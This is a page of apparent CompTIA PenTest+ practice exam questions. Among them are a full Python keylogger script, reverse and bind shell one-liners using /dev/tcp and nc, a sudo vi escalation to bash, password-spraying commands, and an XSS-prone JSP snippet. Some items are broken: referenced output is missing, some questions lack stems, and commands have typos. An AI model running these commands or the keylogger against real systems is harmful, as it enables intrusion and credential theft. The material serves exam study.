Summer Sale Special Limited Time 65% Discount Offer - Ends in 0d 00h 00m 00s - Coupon code: s2p65

Easiest Solution 2 Pass Your Certification Exams

PT0-002 CompTIA PenTest+ Certification Exam Free Practice Exam Questions (2025 Updated)

Prepare effectively for your CompTIA PT0-002 CompTIA PenTest+ Certification Exam certification with our extensive collection of free, high-quality practice questions. Each question is designed to mirror the actual exam format and objectives, complete with comprehensive answers and detailed explanations. Our materials are regularly updated for 2025, ensuring you have the most current resources to build confidence and succeed on your first attempt.

Page: 2 / 7
Total 464 questions

A penetration tester fuzzes an internal server looking for hidden services and applications and obtains the following output:

Which of the following is the most likely explanation for the output?

A.

The tester does not have credentials to access the server-status page.

B.

The admin directory cannot be fuzzed because it is forbidden.

C.

The admin, test, and db directories redirect to the log-in page.

D.

The robots.txt file has six entries in it.

A penetration tester approaches a company employee in the smoking area and starts a conversation about the company's recent social event. After a few minutes, the employee holds the badge-protected door open for the penetration tester and both enter the company's building. Which of the following attacks did the penetration tester perform?

A.

Dumpster diving

B.

Phishing

C.

Badge cloning

D.

Tailgating

Which of the following components should a penetration tester most likely include in a report at the end of an assessment?

A.

Metrics and measures

B.

Client interviews

C.

Compliance information

D.

Business policies

A vulnerability assessor is looking to establish a baseline of all IPv4 network traffic on the local VLAN without a local IP address. Which of the following Nmap command sequences would best provide this information?

A.

sudonmap—script=bro* -e ethO

B.

sudonmap-sF—script=* -e ethO

C.

sudonmap-sV-sT -p 0-65535 -e ethO

D.

sudonmap-sV-p 0-65535 0.0.0.0/0

Which of the following would be the most efficient way to write a Python script that interacts with a web application?

A.

Create a class for requests.

B.

Write a function for requests.

C.

Import the requests library.

D.

Use the cURL OS command.

Which of the following is the most important aspect to consider when calculating the price of a penetration test service for a client?

A.

Operating cost

B.

Required scope of work

C.

Non-disclosure agreement

D.

Client's budget

Which of the following legal concepts specifically outlines the scope, deliverables, and timelines of a project or engagement?

A.

MSA

B.

NDA

C.

SLA

D.

SOW

A penetration tester is enumerating shares and receives the following output:

Which of the following should the penetration tester enumerate next?

A.

dev

B.

print$

C.

home

D.

notes

A penetration tester wants to find the password for any account in the domain without locking any of the accounts. Which of the following commands should the tester use?

A.

enum4linux -u userl -p /passwordList.txt 192.168.0.1

B.

enum4linux -u userl -p Passwordl 192.168.0.1

C.

cme smb 192.168.0.0/24 -u /userList.txt -p /passwordList.txt

D.

cme smb 192.168.0.0/24 -u /userList.txt -p Summer123

Within a Python script, a line that states print (var) outputs the following:

[{'1' : 'CentOS', '2' : 'Ubuntu'), {'1' : 'Windows 10', '2' : 'Windows Server 2016'}]

Which of the following objects or data structures is var ?

A.

An array

B.

A class

C.

A dictionary

D.

A list

A client asks a penetration tester to retest its network a week after the scheduled maintenance window. Which of the following is the client attempting to do?

A.

Determine if the tester was proficient.

B.

Test a new non-public-facing server for vulnerabilities.

C.

Determine if the initial report is complete.

D.

Test the efficacy of the remediation effort.

During an assessment, a penetration tester emailed the following Python script to CompTIA's employees:

import pyHook, sys, logging, pythoncom, datetime

log_file='C:\\Windows\\Temp\\log_comptia.txt' def KbrdEvent(event):

logging.basicConfig(filename=log_file,level=logging.DEBUG, format='%(messages)s') chr(event.Ascii)

logging.log(10, chr(event.Ascii))

return True

hooks_manager = pyHook.HookManager()

hooks_manager.KeyDown = KbrdEvent

hooks_manager.HookKeyboard()

pythoncom.PumpMessages()

Which of the following is the intended effect of this script?

A.

Debugging an exploit

B.

Keylogging

C.

Collecting logs

D.

Scheduling tasks

During a code review assessment, a penetration tester finds the following vulnerable code inside one of the web application files:

<% String id = request.getParameter("id"); %>

Employee ID: <%= id %>

Which of the following is the best remediation to prevent a vulnerability from being exploited, based on this code?

A.

Parameterized queries

B.

Patch application

C.

Output encoding

Which of the following tools can a penetration tester use to brute force a user password over SSH using multiple threads?

A.

CeWL

B.

John the Ripper

C.

Hashcat

D.

Hydra

A.

Executive summary

B.

Testing methodology overview

C.

Attestation of findings

D.

Remediation plan

A.

Executive summary

B.

Testing scope

C.

Statement of work

D.

Technical report

A penetration tester is conducting an on-path link layer attack in order to take control of a key fob that controls an electric vehicle. Which of the following wireless attacks would allow a penetration tester to achieve a successful attack?

A.

Bluejacking

B.

Bluesnarfing

C.

BLE attack

D.

WPS PIN attack

After obtaining a reverse shell connection, a penetration tester runs the following command: www-data@server!2:sudo -1

User www-data may run the following commands on serverl2: (root) NOPASSWD: /usr/bin/vi

Which of the following is the fastest way to escalate privileges on this server?

A.

Editing the file /etc/passwd to add a new user with uid0

B.

Creating a Bash script, saving it on the /tmp folder, andthen running it

C.

Executing the command sudo vi -c ' Jbash'

D.

Editing the file/etc/sudoers to allow any command

An organization's Chief Information Security Officer debates the validity of a critical finding from a penetration assessment that was completed six months ago. Which of the following post-report delivery activities would have most likely prevented this scenario?

A.

Client acceptance

B.

Data destruction process

C.

Attestation of findings

D.

Lessons learned

After compromising a remote host, a penetration tester is able to obtain a web shell. A firewall is blocking outbound traffic. Which of the following commands would allow the penetration tester to obtain an interactive shell on the remote host?

A.

bash -i >& /dev/tcp 8443 0>&l

B.

nc -e host 8443 /bin/bash

C.

nc -vlp 8443 /bin/bash

D.

nc -vp 8443 /bin/bash

Page: 2 / 7
Total 464 questions
Copyright © 2014-2025 Solution2Pass. All Rights Reserved